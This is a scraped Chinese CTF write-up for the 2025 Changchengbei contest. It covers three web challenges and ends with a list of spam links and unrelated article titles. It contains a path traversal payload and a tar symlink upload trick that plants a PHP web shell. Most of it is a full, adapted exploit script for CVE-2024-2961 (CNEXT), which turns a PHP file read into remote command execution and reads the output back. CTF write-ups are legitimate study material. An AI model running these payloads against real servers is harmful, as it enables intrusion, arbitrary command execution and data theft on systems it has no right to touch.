当前位置: 首页 > news >正文

长城杯2025

水篇长城杯2025

文曲签学

如今的AI学习机早已是学生手中的智能标配——高清触控屏轻划即加载名师课程,AI算法能精准定制专属学习计划,海量学习资源随查随用,便捷得如同“口袋里的智能老师”。可回溯父辈的学生时代,他们的“学习神器”却是另一番模样:那台小小的文曲星,单色屏幕上跳动着单词释义,物理按键按下去会发出清脆的“咔嗒” 声,查单词、算习题,甚至课间偷偷玩会儿《英雄坛说》,全靠这台“随身知识库”撑起学习与消遣的时光。​

现在,春秋GAME伽玛实验室团队复刻了文曲星的经典界面——熟悉的按键排布、带着颗粒感的复古显示风格里,藏着待你挖掘的关键线索。不妨像当年父辈捧着文曲星钻研知识点那样,静下心拆解界面细节,从这些时光留下的印记里,找到破解谜题的密钥。

目录穿越

read ....//....//....//....//flag

EZ_upload

CISCN2023出过这种类型的利用软链接

<?php
highlight_file(__FILE__);function handleFileUpload($file)
{$uploadDirectory = '/tmp/';if ($file['error'] !== UPLOAD_ERR_OK) {echo '文件上传失败。';return;}$filename = basename($file['name']);$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);if (empty($filename)) {echo '文件名不符合要求。';return;}$destination = $uploadDirectory . $filename;if (move_uploaded_file($file['tmp_name'], $destination)) {exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');echo $destination;} else {echo '文件移动失败。';}
}handleFileUpload($_FILES['file']);
?>
ln -s /var/www/html www
tar -cvf t1.tar wwwrm www                 
mkdir www       
cd www ┌──(root㉿kali-plus)-[/tmp/www]
└─# vim 1.php┌──(root㉿kali-plus)-[/tmp/www]
└─# ls
1.phpcat www/1.php 
<?php
echo exec($_POST['c']);
?>tar -cvf t2.tar www/1.php
先上传t1.tar 再上传t2.tar

SeRce

CVE-2024-2961

https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

直接使用现成的脚本改吧一下就行

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# ADAPTATION: Remote class modified to fit the new challenge:
#  - POST field name is `filetoread`
#  - GET param `exp` must be present and satisfy
#    serialize(unserialize($exp)) != $exp
# Additional modification: capture command output to /dev/shm/cnext_out (fallback /tmp)
# and fetch it back to print locally.
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, run:
#   python3 cc.py <target_url> "<command>" [sleep_time] [heap] [pad]
#
# Example:
#   python3 cc.py http://127.0.0.1/vuln.php "id" 1
#from __future__ import annotationsimport base64 as _base64
import zlib
import re
import time
from dataclasses import dataclass
from pathlib import Pathfrom requests.exceptions import ConnectionError, ChunkedEncodingErrorfrom pwn import *
from ten import *HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")# Default remote output path (in-memory filesystem preferred)
DEFAULT_OUT_PATH = "/dev/shm/cnext_out"
FALLBACK_OUT_PATH = "/tmp/cnext_out"class Remote:"""A helper class to send the payload and download files.Adapted for the new target that expects:- GET parameter `exp` to be present and satisfyserialize(unserialize($exp)) != $exp- POST parameter name is `filetoread`Usage:Remote(url, exp_value="0")By default exp_value="0" because unserialize("0") -> false and serialize(false) -> 'b:0;'which differs from "0" and thus triggers the conditional in the provided PHP."""def __init__(self, url: str, exp_value: str = "0") -> None:self.url = urlself.session = Session()self.exp_value = exp_valuedef send(self, path: str):"""Sends given `path` to the HTTP server. Returns the response object.Sends POST with field 'filetoread' and includes ?exp=<exp_value> in the URL."""return self.session.post(self.url, params={"exp": self.exp_value}, data={"filetoread": path})def download(self, path: str) -> bytes:"""Returns the contents of a remote file.The target echoes 'File Contents: <data>' so we extract that.We use php://filter/convert.base64-encode/resource=... to safely transfer binary."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)if response is None:raise ConnectionError("No response from target")# Match the label printed by the PHP: "File Contents: <base64>"m = re.search(b"File Contents: (.*)", response.content, flags=re.S)if not m:# More forgiving match (case-insensitive)m = re.search(b"[Ff]ile [Cc]ontents: (.*)", response.content, flags=re.S)if not m:# Last-resort: attempt to find the longest base64-like chunk in the response# This helps when warnings/HTML are presentcand = re.findall(b"[A-Za-z0-9+/=\\r\\n]{40,}", response.content)if cand:# pick the longest candidatedata = max(cand, key=len)else:raise ValueError("Unexpected response format; couldn't find 'File Contents:' or base64 block.\n"f"Response ({len(response.content)} bytes):\n{response.content[:800]!r}")else:data = m.group(1).strip()# base64 decode (allow newlines)try:return _base64.b64decode(data)except Exception as e:raise ValueError(f"Base64 decode failed: {e}\nCaptured data (truncated): {data[:400]!r}")@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg("pad","Number of 0x100 chunks to pad with. If the website makes a lot of heap ""operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:"""CNEXT exploit: RCE using a file read primitive in PHP."""url: strcommand: strsleep: int = 1heap: str = Nonepad: int = 20def __post_init__(self):# NOTE: pass exp_value here if you want a different trigger (e.g., exp_value="x")self.remote = Remote(self.url, exp_value="0")self.log = logger("EXPLOIT")self.info = {}self.heap = self.heap and int(self.heap, 16)def check_vulnerable(self) -> None:"""Checks whether the target is reachable and properly allows for the variouswrappers and filters that the exploit needs."""def safe_download(path: str) -> bytes:try:return self.remote.download(path)except ConnectionError:failure("Target not [b]reachable[/] ?")def check_token(text: str, path: str) -> bool:result = safe_download(path)return text.encode() == resulttext = tf.random.string(50).encode()base64 = b64(text, misalign=True).decode()path = f"data:text/plain;base64,{base64}"result = safe_download(path)if text not in result:msg_failure("Remote.download did not return the test string")print("--------------------")print(f"Expected test string: {text}")print(f"Got: {result}")print("--------------------")failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")msg_info("The [i]data://[/] wrapper works")text = tf.random.string(50)base64 = b64(text.encode(), misalign=True).decode()path = f"php://filter//resource=data:text/plain;base64,{base64}"if not check_token(text, path):failure("The [i]php://filter/[/] wrapper does not work")msg_info("The [i]php://filter/[/] wrapper works")text = tf.random.string(50)base64 = b64(compress(text.encode()), misalign=True).decode()path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"if not check_token(text, path):failure("The [i]zlib[/] extension is not enabled")msg_info("The [i]zlib[/] extension is enabled")msg_success("Exploit preconditions are satisfied")def get_file(self, path: str, retries: int = 5, delay: float = 1.0) -> bytes:"""Download a remote file without using pwntools' live display (msg_status),retrying a few times because the remote command may take a moment to create it."""last_exc = Nonefor attempt in range(1, retries + 1):try:data = self.remote.download(path)return dataexcept Exception as e:last_exc = eif attempt < retries:time.sleep(delay)else:raisedef get_regions(self) -> list[Region]:"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""maps = self.get_file("/proc/self/maps")maps = maps.decode()PATTERN = re.compile(r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)")regions = []for region in table.split(maps, strip=True):if match := PATTERN.match(region):start = int(match.group(1), 16)stop = int(match.group(2), 16)permissions = match.group(3)path = match.group(4)if "/" in path or "[" in path:path = path.rsplit(" ", 1)[-1]else:path = ""current = Region(start, stop, permissions, path)regions.append(current)else:print(maps)failure("Unable to parse memory mappings")self.log.info(f"Got {len(regions)} memory regions")return regionsdef get_symbols_and_addresses(self) -> None:"""Obtains useful symbols and addresses from the file read primitive."""regions = self.get_regions()LIBC_FILE = "/dev/shm/cnext-libc"# PHP's heapself.info["heap"] = self.heap or self.find_main_heap(regions)# Libclibc = self._get_region(regions, "libc-", "libc.so")self.download_file(libc.path, LIBC_FILE)self.info["libc"] = ELF(LIBC_FILE, checksec=False)self.info["libc"].address = libc.startdef _get_region(self, regions: list[Region], *names: str) -> Region:"""Returns the first region whose name matches one of the given names."""for region in regions:if any(name in region.path for name in names):breakelse:failure("Unable to locate region")return regiondef download_file(self, remote_path: str, local_path: str) -> None:"""Downloads `remote_path` to `local_path`"""data = self.get_file(remote_path)Path(local_path).write_bytes(data)def find_main_heap(self, regions: list[Region]) -> Region:# Any anonymous RW region with a size superior to the base heap size is a# candidate. The heap is at the bottom of the region.heaps = [region.stop - HEAP_SIZE + 0x40for region in reversed(regions)if region.permissions == "rw-p"and region.size >= HEAP_SIZEand region.stop & (HEAP_SIZE-1) == 0and region.path in ("", "[anon:zend_alloc]")]if not heaps:failure("Unable to find PHP's main heap in memory")first = heaps[0]if len(heaps) > 1:heaps = ", ".join(map(hex, heaps))msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")else:msg_info(f"Using [i]{hex(first)}[/] as heap")return firstdef run(self) -> None:self.check_vulnerable()self.get_symbols_and_addresses()self.exploit()def build_exploit_path(self) -> str:"""Build the php://filter path that encodes the exploit pages as required."""LIBC = self.info["libc"]ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]ADDR_EFREE = LIBC.symbols["__libc_system"]ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]ADDR_HEAP = self.info["heap"]ADDR_FREE_SLOT = ADDR_HEAP + 0x20ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10CS = 0x100# Pad needs to stay at size 0x100 at every steppad_size = CS - 0x18pad = b"\x00" * pad_sizepad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = compressed_bucket(pad)step1_size = 1step1 = b"\x00" * step1_sizestep1 = chunked_chunk(step1)step1 = chunked_chunk(step1)step1 = chunked_chunk(step1, CS)step1 = compressed_bucket(step1)# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"step2_size = 0x48step2 = b"\x00" * (step2_size + 8)step2 = chunked_chunk(step2, CS)step2 = chunked_chunk(step2)step2 = compressed_bucket(step2)step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)step2_write_ptr = chunked_chunk(step2_write_ptr, CS)step2_write_ptr = chunked_chunk(step2_write_ptr)step2_write_ptr = compressed_bucket(step2_write_ptr)step3_size = CSstep3 = b"\x00" * step3_sizeassert len(step3) == CSstep3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = compressed_bucket(step3)step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUGassert len(step3_overflow) == CSstep3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = compressed_bucket(step3_overflow)step4_size = CSstep4 = b"=00" + b"\x00" * (step4_size - 1)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = compressed_bucket(step4)# This chunk will eventually overwrite mm_heap->free_slot# it is actually allocated 0x10 bytes BEFORE it, thus the two filler valuesstep4_pwn = ptr_bucket(0x200000,0,# free_slot0,0,ADDR_CUSTOM_HEAP,  # 0x180,0,0,0,0,0,0,0,0,0,0,0,0,ADDR_HEAP,  # 0x1400,0,0,0,0,0,0,0,0,0,0,0,0,size=CS,)step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)step4_use_custom_heap_size = 0x140# -----------------------------# Modified COMMAND construction:# build a command that writes stdout+stderr to an output file so we can fetch it later# -----------------------------COMMAND = self.command.strip()# choose preferred remote output path; fallback if neededout_path = DEFAULT_OUT_PATH# Build a shell wrapper that optionally sleeps, then runs the command and redirects output.shell_cmd = "sh -c '"if self.sleep:shell_cmd += f"sleep {self.sleep}; "shell_cmd += f"{COMMAND} > {out_path} 2>&1'"COMMAND = shell_cmd.encode() + b"\x00"assert (len(COMMAND) <= step4_use_custom_heap_size), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")step4_use_custom_heap = COMMANDstep4_use_custom_heap = qpe(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)pages = (step4 * 3+ step4_pwn+ step4_custom_heap+ step4_use_custom_heap+ step3_overflow+ pad * self.pad+ step1 * 3+ step2_write_ptr+ step2 * 2)resource = compress(compress(pages))resource = b64(resource)resource = f"data:text/plain;base64,{resource.decode()}"filters = [# Create buckets"zlib.inflate","zlib.inflate",# Step 0: Setup heap"dechunk","convert.iconv.L1.L1",# Step 1: Reverse FL order"dechunk","convert.iconv.L1.L1",# Step 2: Put fake pointer and make FL order back to normal"dechunk","convert.iconv.L1.L1",# Step 3: Trigger overflow"dechunk","convert.iconv.UTF-8.ISO-2022-CN-EXT",# Step 4: Allocate at arbitrary address and change zend_mm_heap"convert.quoted-printable-decode","convert.iconv.L1.L1",]filters = "|".join(filters)path = f"php://filter/read={filters}/resource={resource}"return path@inform("Triggering...")def exploit(self) -> None:path = self.build_exploit_path()try:# send exploit payload; remote may drop connection when exploit triggersself.remote.send(path)except (ConnectionError, ChunkedEncodingError):pass# Wait for the remote command to execute and write output.wait_seconds = max(1, int(self.sleep or 1) + 2)print(f"[+] waiting {wait_seconds}s for remote command to run and produce output...")time.sleep(wait_seconds)# Try multiple times to read the output file. This helps if the command is slightly delayed.out_path = DEFAULT_OUT_PATHtried = 0max_tries = 6while tried < max_tries:tried += 1try:output = self.get_file(out_path, retries=2, delay=1.0)if output:print("\n--- Command output (preferred path: {}) ---\n".format(out_path))try:print(output.decode(errors="replace"))except Exception:print(repr(output))print("\n--- End of output ---\n")msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] (output printed above)")returnelse:# empty file — maybe command failed to write or truncated; wait and retrytime.sleep(1)except Exception:# On first failure, try fallback path (/tmp)if tried == 1:print("[!] couldn't read preferred output path; trying fallback /tmp path next...")out_path = FALLBACK_OUT_PATHtime.sleep(1)continueif tried < max_tries:time.sleep(1)continue# final failure: print debug infomsg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (couldn't read output file)")try:# helpful debug: attempt to read /proc/self/mapsmaps = self.get_file("/proc/self/maps", retries=1)print(f"[debug] /proc/self/maps (truncated):\n{maps.decode(errors='replace')[:400]}")except Exception as ee:print(f"[debug] Also could not read /proc/self/maps: {ee!r}")return# If loop exits without returnmsg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/] (no output after retries)")def compress(data) -> bytes:"""Returns data suitable for `zlib.inflate`."""# Remove 2-byte header and 4-byte checksumreturn zlib.compress(data, 9)[2:-4]def b64(data: bytes, misalign=True) -> bytes:payload = _base64.b64encode(data)if not misalign and payload.endswith(b"="):raise ValueError(f"Misaligned: {data}")return payloaddef compressed_bucket(data: bytes) -> bytes:"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""return chunked_chunk(data, 0x8000)def qpe(data: bytes) -> bytes:"""Emulates quoted-printable-encode."""return "".join(f"={x:02x}" for x in data).upper().encode()def ptr_bucket(*ptrs, size=None) -> bytes:"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""if size is not None:assert len(ptrs) * 8 == sizebucket = b"".join(map(p64, ptrs))bucket = qpe(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = compressed_bucket(bucket)return bucketdef chunked_chunk(data: bytes, size: int = None) -> bytes:"""Constructs a chunked representation of the given chunk. If size is given, thechunked representation has size `size`.For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`."""if size is None:size = len(data) + 8keep = len(data) + len(b"\n\n")size = f"{len(data):x}".rjust(size - keep, "0")return size.encode() + b"\n" + data + b"\n"@dataclass
class Region:"""A memory region."""start: intstop: intpermissions: strpath: str@propertydef size(self) -> int:return self.stop - self.startExploit()

在这里插入图片描述


文章转载自:

http://bUAnqlh5.kdfnd.cn
http://8brJvyHp.kdfnd.cn
http://bp6zVhXk.kdfnd.cn
http://wjl2SDUm.kdfnd.cn
http://HOpTVJsa.kdfnd.cn
http://MGNx72vX.kdfnd.cn
http://3FDMXaTm.kdfnd.cn
http://HpgtTumO.kdfnd.cn
http://WgaC3Bkw.kdfnd.cn
http://0W2PHAsI.kdfnd.cn
http://oZy7kaWG.kdfnd.cn
http://XoKKzRRV.kdfnd.cn
http://exHov6uZ.kdfnd.cn
http://o0rxI5TX.kdfnd.cn
http://abOAsfHb.kdfnd.cn
http://77ZbwgWj.kdfnd.cn
http://8k6mvT3I.kdfnd.cn
http://MUU32Wx4.kdfnd.cn
http://LeFg8nDo.kdfnd.cn
http://dUFdHqyl.kdfnd.cn
http://nbMOKuNi.kdfnd.cn
http://xSentJVf.kdfnd.cn
http://Gz2LvlDt.kdfnd.cn
http://ubTdbgKd.kdfnd.cn
http://zrexYFUM.kdfnd.cn
http://eMMomXqk.kdfnd.cn
http://E1lJsKIo.kdfnd.cn
http://DEMzFxsb.kdfnd.cn
http://CrHGSfvU.kdfnd.cn
http://33A8J2uR.kdfnd.cn
http://www.dtcms.com/a/382856.html

相关文章:

  • Android BLE 蓝牙扫描完全指南:使用 RxAndroidBle框架
  • CKS-CN 考试知识点分享(3)---Dockerfile 安全最佳实践
  • 新一代控制理论框架:人机环境系统控制论
  • easyPoi实现动表头Excel的导入和导出
  • 【Zephyr电源与功耗专题】13_PMU电源驱动介绍
  • Coze源码分析-资源库-创建知识库-后端源码-应用/领域/数据访问
  • React Server Components (RSC) 与 App Router 简介:Next.js 的未来范式
  • 状态机SMACH相关教程介绍与应用案例分析——机器人操作进阶系列之一
  • Grafana与Prometheus实战
  • godot+c#操作godot-sqlite并加解密
  • Scikit-learn 机器学习:构建、训练与评估预测模型
  • React学习教程,从入门到精通,React 组件核心语法知识点详解(类组件体系)(19)
  • Java分布式编程:RMI机制
  • 5-12 WPS JS宏 Range数组规范性测试
  • MySQL 的安装、启动、连接(Windows、macOS 和 Linux)
  • (附源码)基于Spring Boot的宿舍管理系统设计
  • Mac下Python3安装
  • C++数组与字符串:从基础到实战技巧
  • 第13课:分布式Agent系统
  • Docker 容器化部署核心实战——Nginx 服务配置与正反向代理原理解析
  • 【分享】中小学教材课本 PDF 资源获取指南
  • 如何用 Git Hook 和 CI 流水线为 FastAPI 项目保驾护航?
  • 安卓旋转屏幕后如何防止数据丢失-ViewModel入门
  • STM32_05_时钟树
  • 元宇宙与体育产业:沉浸式体验重构体育全链条生态
  • LeetCode 每日一题 966. 元音拼写检查器
  • C++密码锁 2023年CSP-S认证真题 CCF信息学奥赛C++ 中小学提高组 第二轮真题解析
  • Vue3 视频播放器完整指南 – @videojs-player/vue 从入门到精通
  • 零售企业数字化转型的道、法、术:基于开源AI大模型AI智能名片S2B2C商城小程序的战略重构
  • 【编号500】(道路分类)广东路网数据广东路网分类数据(2025年)